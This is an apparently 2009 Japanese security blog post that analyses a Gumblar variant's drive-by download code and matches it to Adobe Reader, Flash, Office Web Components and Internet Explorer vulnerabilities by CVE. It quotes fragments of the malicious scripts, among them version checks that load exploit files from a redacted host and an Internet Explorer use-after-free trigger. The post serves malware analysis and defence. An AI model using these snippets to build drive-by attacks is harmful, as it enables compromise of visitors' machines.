2009年10月Gumblar亜種(仮)が悪用している脆弱性を調べてみた

2009年10月下旬に確認された Gumblaer 亜種(仮)が悪用する脆弱性は、次の 4 つが確認されています。

Adobe Reader脆弱性
Adobe Flash Player の脆弱性
Microsoft Office Web コンポーネント脆弱性MS09-043
Internet Explorer 7 の脆弱性MS09-002

無題なブログ, 「Gumblar」(GENOウイルス)再来襲。悪用される脆弱性

この日記では、Gumblar 亜種(仮)が悪用する脆弱性を具体的に調べてみました。ただし、悪用される脆弱性を CVE番号や各ベンダのパッチ番号で断定するのは難しいと考えています。Exploit コードをきちんとデバックし、シェルコードが実行される箇所を特定しない限り、悪用される脆弱性を特定できないはずです。デバックしなければ、0day Exploit の可能性は否定できません。さすがにそこまではできないので、可能な範囲で悪用された可能性の高い脆弱性を特定することを目的とします。

なお、コードについては Gumblar(GENOウイルス)再来襲。悪用される脆弱性 ( その他インターネット ) - 無題なブログ - Yahoo!ブログ に画像で掲載されているものを使用させていただきました。PDF ファイル、Flash ファイルは私がダウンロードしたものを解析しました。(先の日記参照

Gumblar 亜種(仮)が悪用する脆弱性

Gumblar亜種(仮)の攻撃コードでは、以下の 4 つの CVE番号に対応する脆弱性が悪用された可能性が高いです。各脆弱性を特定するまでの調査は後述しています。興味のある方はどうぞ。

脆弱性の特定

Adobe Reader/Adobe Acrobat脆弱性を悪用するコード(Adobe 悪用コード)
if (YSP){
  lv = ((Y9P.GetVersions().split(".")[4].split(":")[1].replace(/\./g, "");
  if ((lv < 900) && (lv != 813))document.write('<embed src="http://<省略>.php?s=XUNruif&id=2" width=100 height=100 type="application/pdf"></embed>');
}

このコードでは、まず AcroPDF.PDF または PDF.PDFCtrl ActiveX オブジェクトのインスタンスを生成します。インスタンスの生成に成功したら、上記のコードが実行されます。インスタンスの GetVersion() から Adobe Reader, Adobe Acrobat のバージョンを確認し、9.x ではない、8.1.3 未満のバージョンであったら、http://<省略>.php?s=XUNruif&id=2 を PDF ファイルとしてダウンロードさせるようです。ということは、8.1.3 で修正された脆弱性を悪用している可能性が高いと推測できます。

ダウンロードした PDF(以降、malicious PDF)は以下の画像のようになります。malicious PDF で実行される Exploit コードは
FlateDecode でエンコードされているため、デコードしないと分かりません。

pdftk を使用して、malicious PDF のエンコードされている箇所をデコードして、テキストとして抽出します(以下の画像)。「7 0 obj」に JavaScript コードがあり、ここが Exploit コードの実行部分となるようです。「9 0 obj」の stream 部分が Exploit コードの実体のようです。

「7 0 obj」の JavaScript コードの難読化を解除すると、ようやく Exploit コードが確認できました(以下の画像)。この Exploit コードでは最終的に app.doc.Collab.getIcon() を呼び出しています。2009年上半期 Tokyo SOC 情報分析レポート(PDF) p.9 でも同様の関数が掲載されており、CVE-2009-0927脆弱性と明記されています。

Adobe Reader, Adobe Acrobat 悪用コードでは CVE-2009-0927脆弱性を悪用している可能性が高いと判断できます。

Adobe Flash脆弱性を悪用するコード(Flash 悪用コード)
if (Y9P && (Y9P[2] < 124))document.write('<object classid="clsid:d27cdb6e-11cf-96b8-444553540000" ...>...<embed src="http://<省略>.php?s=XUNrulf&id=3"/></embed></object>');

このコードではまず ShockwaveFlash.ShockwaveFlash.9 の ActiveX オブジェクトのインスタンスを生成しています。インスタンスの生成したか、マイナーバージョンが 124 以下であるかを評価し、真であったら swf ファイルがダウンロードされるようです。以下の画像の 32 の部分を評価している模様。現在 Adobe Flash Player は 10.x, 9.x がありますが、10.x の最新バージョンは 10.0.32.18 であるため、このコードでは 9.0.124.0 未満の Flash Player の脆弱性を悪用しているようです。

ダウンロードされた swf ファイルを flash-decompiler で確認してみましたが、脆弱性を特定できる情報はなさそうでした。デバッガを使用しないとこれ以上は無理そうなので、swf ファイルの解析は早々にやめました。。。

Adobe社のセキュリティアドバイザリを見てみると、APSB08-11Adobe Flash Player 9.0.124.0 が公開されていました。このアドバイザリによると、アドバイザリ公開時点で CVE-2007-0071 の Exploit コードの悪用がインターネット上で確認されていました。

This update addresses input validation errors which have been identified in Flash Player 9.0.115.0 and earlier versions that could lead to the potential execution of arbitrary code. These vulnerabilities could be accessed through content delivered from a remote location via the user’s web browser, email client, or other applications that include or reference the Flash Player. (CVE-2007-0071, CVE-2007-6019)

NOTE: There are reports that the issue identified as CVE-2007-0071 is being exploited in the wild.

APSB08-11

Flash 悪用コードでは、CVE-2007-0071脆弱性を悪用している可能性があります("可能性が高い"とまでは言えない)。

MS09-043脆弱性を悪用するコード(MS09-043 悪用コード)
try{
  obj = new ActiveXObject("OWC10.Spreadsheet");
  if(!obj){
    obj = new ActiveXObject("OWC11.Spreadsheet");
  }
  if(obj){
     <exploit 実行部>
  }
}
catch (e){
}

MS09-043 悪用コードでは、OWC10.Spreadsheet, OWC11.Spreadsheetの ActiveX オブジェクトのインスタンスを生成します。インスタンスが生成できたら、 が実行されます。OWC10.Spreadsheetを Google で検索してみます(google:OWC10.Spreadsheet exploit)。検索結果から、OWC10.Spreadsheet を含む Exploit コードを掲載している、以下のようなセキュリティ関連サイトが得られます。

これらのサイトに掲載している Exploit コードを見てみると、MS09-043 悪用コードの と類似しています。この類似性から、MS09-043 悪用コードはこれらの Exploit コードと同じ脆弱性を悪用している可能性が高いと判断できます。あとは MS09-043 で関連している CVE 番号を調べていくと、CVE-2009-1136脆弱性に辿りつきます。

MS09-043 悪用コードでは CVE-2009-1136脆弱性を悪用している可能性が高いと判断しました。

MS09-002脆弱性を悪用するコード(MS09-002 悪用コード)
...
for (var e45n =0; e45n < 1000; e45n ++ )e89f.push(document.createElement("img"));
r27n = document.createElement("tbody")
r27n.click;
var o88j = r27n.cloneNode();
r27n.clearAttributes();
r27n = null;
CollectGarbage();
for (var e45n = 0; e45n < e83f.length; e45n ++)e89f[e45n].src = m77k;
o88j.click;

MS09-002 悪用コードは MS09-043 悪用コードと異なり、他の ActiveX オブジェクトのインスタンスを生成していません。ブラウザの User-Agent によって、ダウンロードされるコードが異なる情報があることから、この MS09-002 悪用コードではブラウザの脆弱性を悪用している可能性が高いと推測します。ブラウザの脆弱性といえば、Internet Explorer脆弱性でしょという安直な推測から、「Internet Explorer cloneNode() img exploit」を Google で検索します(google:Internet Explorer cloneNode() img exploit)。検索結果から、以下のようなセキュリティ関連サイトが得られます。

これらのサイトに掲載している Exploit コードを見てみると、MS09-002 悪用コードと類似しています。この類似性から、MS09-002 悪用コードはこれらの Exploit コードと同じ脆弱性を悪用している可能性が高いと判断できます。あとは MS09-002 で関連している CVE 番号を調べていくと、CVE-2009-0075脆弱性に辿りつきます。

MS09-002 悪用コードでは CVE-2009-0075脆弱性を悪用している可能性が高いと判断しました。

まとめ

可能な範囲で調査しましたが、やはり「この脆弱性が悪用されている!」と断言できないと思いました。スクリプトでシェルコードまで実行できる、Adobe Reader/Adobe Acrobat, MS09-043, MS09-002脆弱性はかなり濃厚ですが、Adobe Flash は可能性レベルの粋を出ないと思います。

セキュリティを調査・研究する立場であれば悪用された脆弱性を特定することに意義がありますが、利用者の立場であれば、脆弱性が特定することに意義はないですね。利用者には「どうすれば被害に会わないか?」という情報を早く届けることが大事だと思います。この日記は Gumblar を調査・研究する立場に方々の参考になれば嬉しいです。

# 1日かかりになるとは思わなかった・・・

参考情報

【収集用メールアドレス】:q1w2e3w2@gmail.com